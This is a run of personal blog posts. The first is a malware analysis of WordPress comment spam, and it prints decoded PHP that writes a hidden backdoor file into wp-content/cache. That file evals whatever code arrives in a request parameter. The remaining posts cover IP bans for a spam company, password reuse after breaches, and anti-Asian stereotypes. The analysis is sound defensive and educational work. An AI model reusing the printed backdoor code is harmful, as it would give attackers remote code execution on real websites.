terriko: (Default)
WARNING: This entry contains some actual malicious code. I've HTML-escaped it so that it isn't going to get executed by you viewing it, but it was clearly intended to attack Wordpress blogs, so if you're going to mess around with analyzing, do it in a browser that's not logged in to any Wordpress blog.

So I was clearing spam queues this morning, and came across a bunch of spam with this string in it:


Or this clearly related one (note that the top of the string is the same):


As you can tell from the first sample, it's base64 encoded... something. b64 is pretty commonly used by attackers to obfuscate their code, so in case the spammy username and comment that went with the code wasn't enough to tell me that something bad was intended, the b64 encoding itself would have been a clue. If I didn't have the pretty huge hint of the base64_decode line, I might have been able to figure it out from the format and the fact that I know that b64 uses = as a padding (visible at the end of the second string).

Being a curious sort of person, I decoded the first string. In my case, I just opened up Python, and did this:

>>> import base64
>>> base64.b64decode(badstring1)
"if($f=fopen('wp-content/cache/ifooag.php','w')){fputs($f,'<?php /*N%P`%*/eval/*If\\',-*/(/*>6`He*/base64_decode/*@M)2*/(/*~:H5*/\\'Lyp3Y2A7cCovaWYvKnchblsqLygvKl5zWyFUcnBRKi9pc3NldC8qUEg0OXxAKi8oLyp4YGpWKU4qLyRfUkVRVUVTVC8qciB4Ki9bLyooflFxKi8nYycvKjE/QGV0WyovLi8\\'/*OzM520*/./*9J+,*/\\'qPSwpKi8neicvKnVUQTkzKi8uLypDe0c6QDRcKi8nbCcvKjh0IG8qLy4vKm15TT08RGAqLyd6Jy8qeGdnMXY2MSovLi8qVnBJZzQqLyd5Jy8qZXxqeUEqLy4vKix2KCovJ2\\'/*yAt&*/./*@5Dw&]N*/\\'wnLypGLVFvTDQqL10vKmJha00pKi8vKlw7c24qLykvKk53S0knXyovLypPX2sqLykvKkhAYUs0VCovZXZhbC8qMk58MjA+Ki8oLypVc0htWV1lWiovc3RyaXBzbGFzaGVzL\\'/*Yabk*/./*O~qs*/\\'yo8SGczKi8oLypVQUthZiovJF9SRVFVRVNULypWLktUIHsqL1svKkstLmMqLydjJy8qSG9oKi8uLypYTjtHKi8neicvKjsmMygyMWQmXSovLi8qO1BPdSovJ2wnLypZWVAz\\'/*{YJ}1*/./*v+(-;k*/\\'enUqLy4vKlVsaVUtKi8nenlsJy8qRlRZXDQqL10vKk4/UmI+K2YqLy8qSytLQyovKS8qbEBqKi8vKmJYPCovKS8qOlo2VUUoSkI4Ki8vKkJXZztASyovOy8qRTsrdidJKi8=\\'/*(kCp@Y>*/)/*`bc*//*Hv^!*/)/*WmF*//*P_We``>{*/;/*-|lTE1*/?>');fclose($f);}"

(Well, okay, I actually ran cgi.escape(base64.b64decode(badstring1)) to get the version you're seeing in this blog post since I wanted to make sure none of that was executed in your browser, but that's not relevant to the code analysis, just useful if you're talking about code on the internet)

So that still looks pretty obfuscated, and even more full of base64 (yo, I heard you like base64 so I put some base64 in your base64). But we've learned a new thing: the code is trying to open up a file in the wordpress cache called ifooag.php, under wp-content which is a directory wordpress needs to have write access to. I did a quick web search, and found a bunch of spam, so my bet is that they're opening a new file rather than modifying an existing one. And we can tell that they're trying to put some php into that file because of the <?php and ?> which are character sequences that tell the server to run some php code.

But that code? Still looks pretty much like gobbledegook.

If you know a bit about php, you'll know that it accepts c-style comments delineated by /* and */, so we can remove those from the php code to get something a bit easier to parse:


Feel like we're going in circles? Yup, that's another base64 encoded string. So let's take out the quotes and the concatenations to see what that is:


You might think we're getting close now, but here's what you get out of decoding that:

>>> base64.b64decode(badstring1a)
"/*wc`;p*/if/*w!n[*/(/*^s[!TrpQ*/isset/*PH49|@*/(/*x`jV)N*/$_REQUEST/*r x*/[/*(~Qq*/'c'/*1?@et[*/./*=,)*/'z'/*uTA93*/./*C{G:@4\\*/'l'/*8t o*/./*myM=<D`*/'z'/*xgg1v61*/./*VpIg4*/'y'/*e|jyA*/./*,v(*/'l'/*F-QoL4*/]/*bakM)*//*\\;sn*/)/*NwKI'_*//*O_k*/)/*H@aK4T*/eval/*2N|20>*/(/*UsHmY]eZ*/stripslashes/*<Hg3*/(/*UAKaf*/$_REQUEST/*V.KT {*/[/*K-.c*/'c'/*Hoh*/./*XN;G*/'z'/*;&3(21d&]*/./*;POu*/'l'/*YYP3zu*/./*UliU-*/'zyl'/*FTY\\4*/]/*N?Rb>+f*//*K+KC*/)/*l@j*//*bX<*/)/*:Z6UE(JB8*//*BWg;@K*/;/*E;+v'I*/"

Yup, definitely going in circles. But at least we know what to do: get rid of the comments again.

Incidentally, I'm just using a simple regular expression to do this: s/\/\*[^*]*\*\///g. That's not robust against all possible nestings or whatnot, but it's good enough for simple analysis. I actually execute it in vim as :%s/\/\*[^*]*\*\///gc and then check each piece as I'm removing it.

Here's what it looks like without the comments:


So let's stick together those concatenated strings again:


Okay, so now it's added some piece into some sort of wordpress file that is basically just waiting for some outside entity to provide code which will then be executed. That's actually pretty interesting: it's not fully executing the malicious payload now; it's waiting for an outside request. Is this to foil scanners that are wise to the type of things spammers add to blogs, or is this in preparation for a big attack that could be launched all at once once the machines are prepared?

It's going to go to be a request that starts like this http://EXAMPLE.COM/wp-content/cache/ifooag.php?czlzyl=

Unfortunately, I don't have access to the logs for the particular site I saw this on, so my analysis stops here and I can't tell you exactly what it was going to try to execute, but I think it's pretty safe to say that it wouldn't have been good. I can tell you that there is no such file on the server in question and, indeed, the code doesn't seem to have been executed since it got caught in the spam queue and discarded by me.

But if you've ever had a site compromised and wondered how it might have been done, now you know a whole lot more about the way it could have happened. All I can really suggest is that spam blocking is important (these comments were caught by akismet) and that if you can turn off javascript while you're moderating comments, that might be the safest possible thing to do even though it makes using wordpress a little more kludgy and annoying. Thankfully it doesn't render it unusable!

Meanwhile, want to try your own hand at analyzing code? I only went through the full decoding for the first of the two strings I gave at the top of this post, but I imagine the second one is very similar to the first, so I leave it as an exercise to the reader. Happy hacking!
terriko: (Pi)
I maintain a couple of blogs outside of this one, and the most popular one I'm involved with gets a lot of spam. There seemed to be a particular uptick about a month back, and I went to look into it.

What I discovered is that quite a lot of our spam (around 80%) was coming from one company called IPTelligent LLC. There's no easy way for me to tell if they are a legit company who simply have the worst IT staff in the history of IT staffs and all of their machines are compromised, or if they are, in fact, evil jerks who are repeatedly attempting to pollute the internet with really terrible spam. Given a short websearch, it seems pretty likely that IPTelligent is intentionally evil. I suppose one could argue that the level of incompetence displayed by someone who not only runs that many compromised machines but also serves up malware consistently is a form of evil even if it wasn't intentional. Whatever.

Either way, they are responsible for a rather large percentage of the spam we were receiving, and not responsible for any legit visits that we could see.

Since this particular blog uses Wordpress, solving the problem was pretty simple. Wordpress has built in lists for blocking comments, but they simply send to the moderation queue, as does popular plugin Akismet. Since we were seeing hundreds of messages per day from IPTelligent, I needed something that banned them more completely so our moderators wouldn't even see the messages and have to scan through them. Thankfully, there are lots of plugins for this. I settled on one called wp-ban that seems to be working well for my needs.

Once that's installed, the settings are under Settings->Ban. At the top of my list, I now have

# IPTelligent owns these ips, and they seem to be a spam company

Which covers the majority of the IP that were hitting us with spam. A glance at a more specific list of IPTelligent IPs suggests that those lines are good enough right now, although it's possible that they'll buy more IP blocks eventually. (We also have a longer list of other ips that appear to be compromised and were causing problems, but they look more like temporary compromises than intentional, long-term malice so I'm not listing those IPs here).

Of course, it would be better if someone took the company to court for this. I am not a lawyer, but it seems to me that the Computer Fraud and Abuse Act must cover at least some portion of their activities. I mean, the things they charged Aaron Swartz with under that act seem less sketchy than what IPTelligent is doing. But court cases take time and money, and banning them right now is pretty easy, so I figured I'd share the short-term solution in case it's useful to anyone who'd like to get a little less spam right away. (We are indeed getting ~80% less spam since the bans went into place.)

For the record, here's the company info as I get from the whois database right now:

OrgName:        IPTelligent LLC
OrgId:          IPTEL-1
Address:        2115 NW 22nd Street
Address:        #C110
City:           Miami
StateProv:      FL
PostalCode:     33142
Country:        US
RegDate:        2009-03-31
Updated:        2012-07-16
Ref:            http://whois.arin.net/rest/org/IPTEL-1

ReferralServer: rwhois://rwhois.iptelligent.com:4321

OrgNOCHandle: NOC3572-ARIN
OrgNOCName:   Network Operations Center
OrgNOCPhone:  +1-888-638-5893
OrgNOCEmail:  sysop@iptelligent.com
OrgNOCRef:    http://whois.arin.net/rest/poc/NOC3572-ARIN
terriko: (Default)
Cross-posted from my security blog, Web Insecurity.

Should you really change your re-used passwords after a breach? Maybe not.

DiceThe news is reporting that 453,000 credentials were allegedly taken from Yahoo, and current reports say that it's probably Yahoo Voice that was compromised. If you want to know if yours is in there, it seems like the hacker website is overwhelmed at the moment, but you can search for your username/email here on a sanitized list that doesn't include the passwords.

Probably unsurprisingly, the next bit of news is that people haven't changed their hacked passwords from previous breaches. To whit, 59% of people were re-using the passwords that had previously been hacked and released to the public in the Sony breach. Which seems a bit high given the publicity, but I'm not as surprised as I maybe should be.

What I'd really like to know is how many of those people actually suffered from this password re-use. Did anyone bother to try re-using their credentials?

I'm reminded of one of my favourite security papers, "So Long, and No Thanks for the Externalities: the Rational Rejection of Security Advice by Users," by Cormac Herley. In it, he claims that many security "best" practices like changing passwords frequently are actually a waste of time for the average user, when you take into account the risks involved.

So, is changing a password after a breach one of those things that we can skip without much incident? Sadly, I don't have any definitive way to analyze how many folk were inconvenienced by their password reuse in the Sony and subsequent Yahoo breaches, but I can make a guess: If those accounts were compromised on Yahoo after the Sony breach, we'd be seeing a lot more people changing their passwords between the two. So probably at least those 59% were not inconvenienced enough to change their passwords subsequent to the breach.  That's a lot of people.

Of course, it's possible that the accounts were breached and used in a way that the owner never noticed. But if they're not noticing, are they really being inconvenienced? Probably in a global sense (i.e. spam) but maybe not in a short-term decision-making sense. Of course, we could assume that the alleged hack is a hoax using many of the previously hacked passwords from Sony, but given how easy it is to compromise web apps I'm currently assuming that the hack itself is a real thing.  In which case, that's a lot of no-change. It looks suspiciously like you're likely to be more inconvenienced taking the time to change your password than you would if you did nothing, statistically speaking.

So, should you change your password after a breach? It depends on how much you feel like rolling the dice. Failing to change their breached passwords doesn't seem to have hurt that many of the Yahoo Voice denizens, but with numbers on re-used passwords hitting the news today, it's possible we'll see more people trying this avenue of attack in the future.  Still, rather than assuming those 59% are foolish for keeping the same credentials, it's worth considering that they might have just been savvy gamblers, this time.
terriko: (Default)
Some time ago, my sister and I raised a stink with my online gaming friends after one of the guys said that the Japanese were docile. Half Japanese ourselves, we reacted by being anything but docile, and in the end the dude left the group (permanently). Despite our attempts to educate, I doubt if he ever really understood why we were so upset by his casual racism or even that it was casual racism.

I read this article today that really resonated with me about the historical reasons why calling Asian women docile is so offensive, and I want to share this quote which puts the problem in some crude but clear focus.

Much of the concept of Asian women as sexually submissive comes from the victimized condition in which American soldiers found these women when they arrived in combat zones throughout the Pacific.


This particular form of racism has myriad consequences for Asian-American women. A significant amount of the attention we receive from non-Asian men is in the form of creepy, excessive enthusiasm… as if they grew up at Pappy’s knee listening to legends of how Asian women will do anything to your penis that you want them to. Then there is the offensive assumption that anyone who is half Asian is the product of an American GI and an Asian woman he met standing on the corner saying “me love you long time.”

-- "Asian Women, American GIs, and Modern Rape Culture"

I have other, more personal and Canadian-context-sensitive reasons for disliking the stereotype too. As if the reasons above weren't enough!

The saddest part of my online gaming story is that the guy is married to a Japanese woman and has kids. His daughter(s) will be exposed to this kind of crud regularly as she grows up. I certainly hit terrible variations of this stuff as a young teenager (amplified by the "geeks love Asian women" meme). I hope by then he's a little bit more understanding as to how an offhand generalization can be part of a pattern of internalized racism.
terriko: (Default)
Bunch of posts elsewhere:

Web Insecurity: Free Wordpress themes considered harmful

It's illegal in many places to compromise someone's site to force them to serve up spammy links. But it's not illegal to put them in a Wordpress theme and then offer it for free...

Web Insecurity: To whom are you confessing?

The Catholic church has given its blessing to a new iPhone app that helps you prepare for confession. The Office of the Privacy Commissioner of Canada isn't so sure they'd approve it, though, pointing out the the developer collects a lot of information and doesn't provide a policy about how it will be used.

Geek Feminism: “How could they not have known?!”

A post about how our male compatriots are often floored by the sort of sexism women deal with daily. Also about FatUglyorSlutty.com, troll visualizations, and ...

*grin* In that post, I wrote "my male gamer buddies don’t have people freaking out or getting, er, excited when they speak on voice chat" and it took some effort to resist adding "but some of them should. Yum." Seriously, some of my gaming buddies have incredibly sexy voices and on the entirely too rare occasion when one of them sings on teamspeak... mmm...

I know, TMI, but I've wanted to brag about my hot gamer guys all day. ;)
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